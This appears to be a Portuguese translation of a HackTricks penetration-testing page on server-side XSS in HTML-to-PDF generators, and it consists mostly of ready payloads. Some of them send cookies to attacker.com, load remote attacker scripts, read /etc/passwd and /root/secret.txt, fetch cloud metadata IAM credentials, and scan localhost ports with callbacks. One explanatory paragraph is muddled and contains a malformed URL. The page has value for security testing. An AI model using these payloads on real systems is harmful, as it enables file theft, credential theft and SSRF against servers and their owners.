8.7 KiB
XSS do lado do servidor (PDF dinâmico)
Se uma página da web estiver criando um PDF usando entrada controlada pelo usuário, você pode tentar enganar o bot que está criando o PDF para executar código JS arbitrário.
Portanto, se o bot criador de PDF encontrar algum tipo de tags HTML, ele vai interpretá-las, e você pode abusar desse comportamento para causar um XSS do lado do servidor.
Observe que as tags <script></script>
nem sempre funcionam, então você precisará de um método diferente para executar JS (por exemplo, abusando de <img
).
Além disso, observe que em uma exploração regular você será capaz de ver/baixar o PDF criado, então você será capaz de ver tudo o que você escreve via JS (usando document.write()
por exemplo). Mas, se você não puder ver o PDF criado, provavelmente precisará extrair as informações fazendo solicitações da web para você (Cego).
Cargas úteis
Descoberta
<!-- Basic discovery, Write somthing-->
<img src="x" onerror="document.write('test')" />
<script>document.write(JSON.stringify(window.location))</script>
<script>document.write('<iframe src="'+window.location.href+'"></iframe>')</script>
<!--Basic blind discovery, load a resource-->
<img src="http://attacker.com"/>
<img src=x onerror="location.href='http://attacker.com/?c='+ document.cookie">
<script>new Image().src="http://attacker.com/?c="+encodeURI(document.cookie);</script>
<link rel=attachment href="http://attacker.com">
SVG
Qualquer um dos payloads anteriores ou seguintes podem ser usados dentro deste payload SVG. Um iframe acessando o subdomínio Burpcollab e outro acessando o endpoint de metadados são colocados como exemplos.
<svg xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1" class="root" width="800" height="500">
<g>
<foreignObject width="800" height="500">
<body xmlns="http://www.w3.org/1999/xhtml">
<iframe src="http://redacted.burpcollaborator.net" width="800" height="500"></iframe>
<iframe src="http://169.254.169.254/latest/meta-data/" width="800" height="500"></iframe>
</body>
</foreignObject>
</g>
</svg>
<svg width="100%" height="100%" viewBox="0 0 100 100"
xmlns="http://www.w3.org/2000/svg">
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>
<script type="text/javascript">
// <![CDATA[
alert(1);
// ]]>
</script>
</svg>
Você pode encontrar muitos outros payloads SVG em https://github.com/allanlw/svg-cheatsheet
Divulgação de caminho
<!-- If the bot is accessing a file:// path, you will discover the internal path
if not, you will at least have wich path the bot is accessing -->
<img src="x" onerror="document.write(window.location)" />
<script> document.write(window.location) </script>
Carregar um script externo
A melhor maneira de explorar essa vulnerabilidade é abusar dela para fazer com que o bot carregue um script que você controla localmente. Em seguida, você poderá alterar o payload localmente e fazer com que o bot o carregue com o mesmo código todas as vezes.
<script src="http://attacker.com/myscripts.js"></script>
<img src="xasdasdasd" onerror="document.write('<script src="https://attacker.com/test.js"></script>')"/>
Ler arquivo local
<script>
x=new XMLHttpRequest;
x.onload=function(){document.write(btoa(this.responseText))};
x.open("GET","file:///etc/passwd");x.send();
</script>
<script>
xhzeem = new XMLHttpRequest();
xhzeem.onload = function(){document.write(this.responseText);}
xhzeem.onerror = function(){document.write('failed!')}
xhzeem.open("GET","file:///etc/passwd");
xhzeem.send();
</script>
<iframe src=file:///etc/passwd></iframe>
<img src="xasdasdasd" onerror="document.write('<iframe src=file:///etc/passwd></iframe>')"/>
<link rel=attachment href="file:///root/secret.txt">
<object data="file:///etc/passwd">
<portal src="file:///etc/passwd" id=portal>
<annotation file="/etc/passwd" content="/etc/passwd" icon="Graph" title="Attached File: /etc/passwd" pos-x="195" />
Obter resposta de página web externa como anexo (pontos de extremidade de metadados)
Para explorar a vulnerabilidade de XSS do lado do servidor em endpoints de metadados, podemos usar uma solicitação GET para obter a resposta de uma página da web externa como um anexo em um arquivo PDF dinâmico. Isso pode ser feito usando a tag <embed>
do HTML para incorporar a página externa no PDF.
Para fazer isso, primeiro precisamos encontrar um endpoint de metadados que aceite uma URL externa como parâmetro. Em seguida, podemos usar uma solicitação GET para esse endpoint, passando a URL externa como parâmetro. Em seguida, podemos usar a tag <embed>
para incorporar a resposta da página externa no PDF.
Isso pode permitir que um atacante execute código malicioso no contexto do usuário que abre o arquivo PDF, levando a uma possível violação de segurança.
<link rel=attachment href="http://http://169.254.169.254/latest/meta-data/iam/security-credentials/">
Atraso do bot
<!--Make the bot send a ping every 500ms to check how long does the bot wait-->
<script>
let time = 500;
setInterval(()=>{
let img = document.createElement("img");
img.src = `https://attacker.com/ping?time=${time}ms`;
time += 500;
}, 500);
</script>
<img src="https://attacker.com/delay">
Varredura de Portas
<!--Scan local port and receive a ping indicating which ones are found-->
<script>
const checkPort = (port) => {
fetch(`http://localhost:${port}`, { mode: "no-cors" }).then(() => {
let img = document.createElement("img");
img.src = `http://attacker.com/ping?port=${port}`;
});
}
for(let i=0; i<1000; i++) {
checkPort(i);
}
</script>
<img src="https://attacker.com/startingScan">
SSRF
Essa vulnerabilidade pode ser facilmente transformada em SSRF (já que você pode fazer o script carregar recursos externos). Então, tente explorá-la (ler alguns metadados?).
Anexos: PD4ML
Existem alguns motores HTML 2 PDF que permitem especificar anexos para o PDF, como o PD4ML. Você pode abusar dessa funcionalidade para anexar qualquer arquivo local ao PDF.
Para abrir o anexo, abra o arquivo com o Firefox e clique duas vezes no símbolo do clipe de papel para armazenar o anexo como um novo arquivo.
Capturar a resposta em PDF com o burp também deve mostrar o anexo em texto claro dentro do PDF.
{% code overflow="wrap" %}
<!-- From https://0xdf.gitlab.io/2021/04/24/htb-bucket.html -->
<html><pd4ml:attachment src="/etc/passwd" description="attachment sample" icon="Paperclip"/></html>
Referências
{% embed url="https://lbherrera.github.io/lab/h1415-ctf-writeup.html" %}
{% embed url="https://buer.haus/2017/06/29/escalating-xss-in-phantomjs-image-rendering-to-ssrflocal-file-read/" %}
{% embed url="https://www.noob.ninja/2017/11/local-file-read-via-xss-in-dynamically.html" %}
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- Você trabalha em uma empresa de segurança cibernética? Você quer ver sua empresa anunciada no HackTricks? ou você quer ter acesso à última versão do PEASS ou baixar o HackTricks em PDF? Verifique os PLANOS DE ASSINATURA!
- Descubra A Família PEASS, nossa coleção exclusiva de NFTs
- Adquira o swag oficial do PEASS & HackTricks
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-me no Twitter 🐦@carlospolopm.
- Compartilhe suas técnicas de hacking enviando PRs para o repositório hacktricks e para o repositório hacktricks-cloud.